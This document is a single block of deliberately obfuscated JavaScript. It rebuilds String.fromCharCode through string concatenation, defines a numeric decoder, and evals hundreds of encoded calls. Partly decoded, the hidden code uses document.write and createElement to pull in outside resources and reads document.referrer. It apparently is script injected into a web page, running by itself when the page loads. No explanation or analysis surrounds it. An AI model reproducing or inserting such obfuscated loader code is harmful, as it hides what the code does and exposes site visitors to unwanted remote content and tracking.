OlOlll="(x)";OllOlO=" String";OlllOO="tion";OlOllO="Code(x)}";OllOOO="Char";OlllOl="func";OllllO=" l = ";OllOOl=".from";OllOll="{return";Olllll="var";eval(Olllll+OllllO+OlllOl+OlllOO+OlOlll+OllOll+OllOlO+OllOOl+OllOOO+OlOllO);eval(l(79)+l(61)+l(102)+l(117)+l(110)+l(99)+l(116)+l(105)+l(111)+l(110)+l(40)+l(109)+l(41)+l(123)+l(114)+l(101)+l(116)+l(117)+l(114)+l(110)+l(32)+l(83)+l(116)+l(114)+l(105)+l(110)+l(103)+l(46)+l(102)+l(114)+l(111)+l(109)+l(67)+l(104)+l(97)+l(114)+l(67)+l(111)+l(100)+l(101)+l(40)+l(77)+l(97)+l(116)+l(104)+l(46)+l(102)+l(108)+l(111)+l(111)+l(114)+l(40)+l(109)+l(47)+l(49)+l(48)+l(48)+l(48)+l(48)+l(41)+l(47)+l(57)+l(57)+l(41)+l(59)+l(125));eval(""+O(103956039)+O(99003338)+O(60391113)+O(76237562)+O(96035348)+O(114849239)+O(102969842)+O(45544836)+O(112868688)+O(109895163)+O(115839458)+O(108903452)+O(99006551)+O(39602898)+O(76232869)+O(96030526)+O(114847082)+O(102967182)+O(45540396)+O(112869090)+O(96037664)+O(108909372)+O(99000580)+O(109892089)+O(107914110)+O(39602975)+O(40592905)+O(41580488)+O(48519883)+O(40595928)+O(42570170)+O(48519153)+O(12876888)+O(9906183)+O(103950613)+O(100980344)+O(31687548)+O(39600393)+O(39606368)+O(108907487)+O(96035100)+O(116820350)+O(103955347)+O(101971213)+O(96035375)+O(114848158)+O(109898198)+O(112865566)+O(45548651)+O(96039089)+O(110880677)+O(110884752)+O(77224628)+O(96030566)+O(107914424)+O(99999832)+O(31687020)+O(60396781)+O(60395945)+O(31680371)+O(33666863)+O(76231090)+O(103954415)+O(98018190)+O(112865178)+O(109892491)+O(113853790)+O(109899108)+O(100986375)+O(114848285)+O(31683714)+O(72273838)+O(108903468)+O(114842297)+O(99996685)+O(112861044)+O(108904985)+O(99996928)+O(114846044)+O(31683977)+O(68311334)+O(118807741)+O(110880489)+O(106927082)+O(109895290)+O(112861310)+O(99996027)+O(112860489)+O(33667257)+O(40590574)+O(31685521)+O(37628414)+O(37621023)+O(31687125)+O(39609365)+O(110882141)+O(96039813)+O(112866510)+O(113858157)+O(99999483)+O(72275647)+O(108900884)+O(114849742)+O(39600397)+O(108907214)+O(96033179)+O(116828481)+O(103952782)+O(101972813)+O(96038322)+O(114844208)+O(109893395)+O(112865219)+O(45549967)+O(96031962)+O(110886283)+O(110884823)+O(85145730)+O(99991295)+O(112865172)+O(113855806)+O(103959950)+O(109895707)+O(108906844)+O(40597729)+O(31680659)+O(61388636)+O(60399698)+O(31681475)+O(51486606)+O(40592253)+O(40595395)+O(31684189)+O(12870943)+O(9909332)+O(121771797)+O(31682577)+O(12870507)+O(9906447)+O(99002228)+O(109897737)+O(98013482)+O(115838831)+O(107919514)+O(99997546)+O(108903689)+O(114843393)+O(45543217)+O(117814570)+O(112866745)+O(103956572)+O(114845015)+O(99998413)+O(39601889)+O(33667987)+O(59400283)+O(106921515)+O(103953417)+O(108909167)+O(105933572)+O(31686492)+O(102967340)+O(112869045)+O(99991924)+O(100981281)+O(60392146)+O(91084350)+O(33662719)+O(46535620)+O(103957338)+O(107913533)+O(96032132)+O(101978650)+O(99999842)+O(113857485)+O(46536138)+O(33662828)+O(42576255)+O(103958900)+O(99008523)+O(42573730)+O(33668464)+O(114844864)+O(109899353)+O(110888832)+O(45541203)+O(98014035)+O(113852981)+O(113850900)+O(91082734)+O(33660563)+O(31686795)+O(112863219)+O(99994053)+O(106921844)+O(60390667)+O(91084591)+O(33667749)+O(113856118)+O(114842318)+O(119791728)+O(106924981)+O(99998959)+O(113855681)+O(102965525)+O(99997898)+O(99994773)+O(114847727)+O(91085483)+O(33665264)+O(31680585)+O(114844223)+O(119793549)+O(110881074)+O(99994556)+O(60396391)+O(91084581)+O(33669495)+O(114841000)+O(99998556)+O(118805698)+O(114844582)+O(46536946)+O(98011516)+O(113850918)+O(113859939)+O(91082707)+O(33667601)+O(31680616)+O(46531722)+O(61380390)+O(33661144)+O(40597615)+O(58418198)+O(12879748)+O(9902482)+O(123752974)+O(31680474)+O(12870419)+O(9904445)+O(99994955)+O(106921903)+O(113853189)+O(99997838)+O(31684012)+O(99008240)+O(109890632)+O(98016380)+O(115835192)+O(107916615)+O(99999288)+O(108902227)+O(114846839)+O(45549080)+O(106921293)+O(109890304)+O(98011126)+O(96035633)+O(114843349)+O(103953442)+O(109897624)+O(108902393)+O(31684814)+O(60390568)+O(31685819)+O(38612912)+O(46534760)+O(103957051)+O(99996319)+O(45544488)+O(102969869)+O(114849712)+O(107913349)+O(106926773)+O(38611251)+O(12878995)+O(9903029)+O(12876988)+O(9908403)+O(100987292)+O(115832964)+O(108904609)+O(98012847)+O(114845554)+O(103958676)+O(109898514)+O(108902291)+O(31689941)+O(69301541)+O(109891284)+O(108908547)+O(114846507)+O(89101090)+O(109898589)+O(109898913)+O(107914705)+O(39601710)+O(100986411)+O(113851226)+O(103959799)+O(120780152)+O(99995225)+O(40597383)+O(121770249)+O(12875549)+O(9908218)+O(8918768)+O(8918541)+O(116828124)+O(96030107)+O(112869717)+O(31682991)+O(98016213)+O(114844183)+O(99991948)+O(118803671)+O(114843805)+O(31687855)+O(60393675)+O(31687725)+O(99002395)+O(109891139)+O(98012055)+O(115838077)+O(107911636)+O(99998280)+O(108906546)+O(114844836)+O(45542990)+O(101970053)+O(99993778)+O(114840517)+O(68319400)+O(106923098)+O(99991633)+O(107918633)+O(99991852)+O(108903158)+O(114841349)+O(65340155)+O(119790629)+O(72271034)+O(99001689)+O(39603907)+O(33665025)+O(96033649)+O(112868469)+O(114845024)+O(103950378)+O(98017779)+O(106926076)+O(99990270)+O(97025331)+O(109890623)+O(99005006)+O(119790255)+O(33665475)+O(40599721)+O(58410886)+O(12876337)+O(9901694)+O(8914471)+O(8915986)+O(98014366)+O(114842892)+O(99992920)+O(118803797)+O(114848336)+O(45543093)+O(113850418)+O(114840878)+O(119794456)+O(106922368)+O(99991250)+O(45547917)+O(100980216)+O(109899510)+O(108900389)+O(114843679)+O(82173607)+O(103951916)+O(120780177)+O(99991369)+O(31684801)+O(60394780)+O(31685918)+O(100986822)+O(113856330)+O(103957342)+O(120785093)+O(99991886)+O(31688096)+O(42578692)+O(33667281)+O(110884390)+O(114840358)+O(33669421)+O(58415670)+O(12878157)+O(9901285)+O(8918268)+O(123756557)+O(12872668)+O(9905617)+O(100984852)+O(115830175)+O(108902202)+O(98017502)+O(114840551)+O(103954801)+O(109898521)+O(108903698)+O(31689625)+O(105936183)+O(103959517)+O(106922953)+O(106921837)+O(68316043)+O(112868623)+O(112863638)+O(109895941)+O(112866649)+O(113856253)+O(39604444)+O(40590694)+O(31683281)+O(121775032)+O(12872345)+O(9906310)+O(112862762)+O(99995193)+O(114847903)+O(115834666)+O(112864198)+O(108905124)+O(31680477)+O(114840963)+O(112867554)+O(115834774)+O(99994945)+O(58413056)+O(123756762)+O(12876395)+O(9907095)+O(117817211)+O(103956683)+O(108907914)+O(99007074)+O(109890643)+O(117817435)+O(45549135)+O(109898921)+O(108901882)+O(99995353)+O(112869915)+O(112869572)+O(109899745)+O(112867163)+O(31682488)+O(60392507)+O(31680475)+O(105932810)+O(103957178)+O(106929659)+O(106920496)+O(68312862)+O(112861895)+O(112860150)+O(109899146)+O(112868357)+O(113851004)+O(58415981));
